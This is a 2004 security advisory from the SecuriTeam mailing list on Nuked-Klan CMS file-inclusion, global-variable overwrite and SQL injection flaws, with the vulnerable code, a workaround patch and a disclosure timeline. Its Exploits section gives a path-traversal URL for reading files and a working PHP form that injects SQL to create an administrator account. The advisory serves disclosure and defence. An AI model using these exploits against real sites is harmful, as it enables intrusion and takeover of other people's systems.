Date: 19 Apr 2004 17:35:58 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [UNIX] Multiple Vulnerabilities in Nuked-Klan (Local Include, SQL Injection)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Multiple Vulnerabilities in Nuked-Klan (Local Include, SQL Injection)
------------------------------------------------------------------------
SUMMARY
<http://www.nuked-klan.org/> Nuked-Klan is a complete CMS with a few
interesting modules. A malicious user can modify the database, change the
configuration of the system and read arbitrary files.
DETAILS
Vulnerable Systems:
* Nuked-Klan versions b1.4, b1.5, SP2
Vulnerable Code
The file nuked.php contains the following lines:
[...]
include ("conf.inc.php");
[...]
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}
include ("lang/$language");
[...]
The file "lang/$language" is included from an external source. As this
variable can be modified by anyone, by using the variable $user_langue,
anyone can include an external file and get it executed.
Version b1.5 and newer contains a few other holes. In the file globals.php
you can find the following lines:
[...]
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
[...]
The nk_globals() function can be found in nuked.php:
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
} } }
This function will create a list of global variables. Their names and
values are stored in the table $GLOBALS. When the above lines are
executed, the GET, POST and COOKIE variables become GLOBALS variables. But
if these GLOBALS variables already exist, they will be overwritten.
Therefore, if the file globals.php is included after the configuration
variables (as they are set in the file conf.inc.php), then anyone can give
new values to these variables.
This problem exists in the file index.php:
[...]
if($page!=""){$im_file="$page";}else{$im_file="index";}
}
if (is_file("modules/$file/$im_file.php") ){
include("modules/$file/$im_file.php");
}else{
include("modules/404/index.php");
}
[...]
Which allows us to externally include the globals.php file with such as
URL as:
http://[target]/index.php?file=..&page=globals
Or :
http://[target]/index.php?user_langue=../globals.php
This last URL allow to overwrites GLOBALS[] in every modules, like Suggest
(modules/Suggest/index.php) :
[...]
function add_sug($data)
{
global $user, $module, $nuked;
opentable();
include("modules/Suggest/modules/$module.php");
$date=time();
$content=make_array($data);
$sql=mysql_query("INSERT INTO $nuked[prefix]"._suggest." VALUES
('','$module','$user[0]','$content','$date')");
echo"
"._YOURSUGGEST."
"._THXPART."
";
redirect("index.php?file=$module",2);
closetable();
}
[...]
Here we can change $nuked[prefix] and insert what we want in the database.
update.php
The file update.php contains the following code:
<?
[...]
include ("globals.php");
[...]
function install()
{
global $langue;
include ("lang/$langue");
[...]
}
[...]
function edit_config($op)
{
global $langue,$langname;
include ("lang/$langue");
[...]
}
[...]
function update_config($vars)
{
[...]
include ("lang/$vars[langue]");
[...]
$content = "<?php // Generated: $d\n"
[...]
"\$global['db_host'] = '$vars[db_host]';\n"
"\$global['db_user'] = '$vars[db_user]';\n"
"\$global['db_pass'] = '$vars[db_pass]';\n"
"\$global['db_name'] = '$vars[db_name]';\n"
"\$global['type'] = '$vars[type]';\n"
"\$nuked['prefix'] = \"$vars[prefix]\";\n"
[...]
"\$nuked['url'] = '$vars[url]';\n"
[...]
'?'.'>';
$fp = fopen('conf.inc.php', w);
if (!$fp) die (sprintf('Erreur File Open','conf.inc.php','conf.inc.php'));
fwrite($fp, $content);
fclose($fp);
[...]
}
[...]
switch ($action)
{
[...]
case"edit_config":
edit_config($_GET['op']);
break;
case"update_config":
update_config($_POST);
break;
case"install":
install();
break;
[...]
}
?>
Again this file allows an attacker to include a local file by using the
variable $langue, the update_confi() function will overwrite this
configuration file.
Unofficial patch:
An unofficial patch can be found at: <http://www.phpsecure.info>
http://www.phpsecure.info
Workaround:
In globals.php, replace the lines :
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
With:
if (!get_ini("register_globals")){
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
}
In nuked.php, replace the lines:
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
With:
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
if (!isset($GLOBALS[$key])){ $GLOBALS[$key] = $val; }
}
}
}
And after the lines:
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}
Add these lines:
if ( eregi("\.\.",$theme) || eregi("\.\.",$page) || eregi("\.\.",$file)
|| eregi("\0",$theme) || eregi("\0",$page) || eregi("\0",$file) ||
eregi("\.\.",$user_langue) || !file_exists("lang/$language") ){
die("What are you trying to do ?");
}
Disclosure Timeline:
25/02/2003 Vulnerability discovered
01/03/2003 Vendor notified
20/03/2004 Vendor response
20/03/2004 Security Corporation clients notified
20/03/2004 Started e-mail discussions
06/04/2004 Last e-mail received
16/04/2004 Public disclosure
Exploits:
By sending the following URL, a user can view the content of that file:
http://[target]/index.php?user_langue=../../../../../file/to/view
Create admin via SQL Injection (overwriting GLOBALS):
The following HTML file can be used to cause the remote Nuked-Klan to
execute arbitrary SQL statements, in our case add a new administrative
user to the product:
<html>
<head>
<title>Nuked-KlaN b1.5 Create Admin</title>
</head>
<body>
<?
function ascii_sql($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}
if (isset($_POST["submit"])){
echo "<script>url='".$target."/index.php?
file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20
(id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST
["pseudo"])."),md5(char(".ascii_sql($_POST
["pass"]).")),9)/*&module=Gallery';window.open(url);</script>";
echo "<br><br><br><br>Admin should have been created.";
}else{
?>
<form method="POST" action="<? echo $PHP_SELF; ?>">
<b>Target :</b> <input type="text" name="target" value="http://"><br>
<b>Admin Nick :</b> <input type="text" name="pseudo"><br>
<b>Admin Pass :</b> <input type="text" name="pass"><br>
<input type="submit" name="submit" value="Create Admin">
</form>
<?
}
?>
</body>
</html>
ADDITIONAL INFORMATION
The information has been provided by
<mailto:[email protected]> Security-Corporation.
The original article can be found at:
<http://www.security-corporation.com/advisories-028.html>
http://www.security-corporation.com/advisories-028.html
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.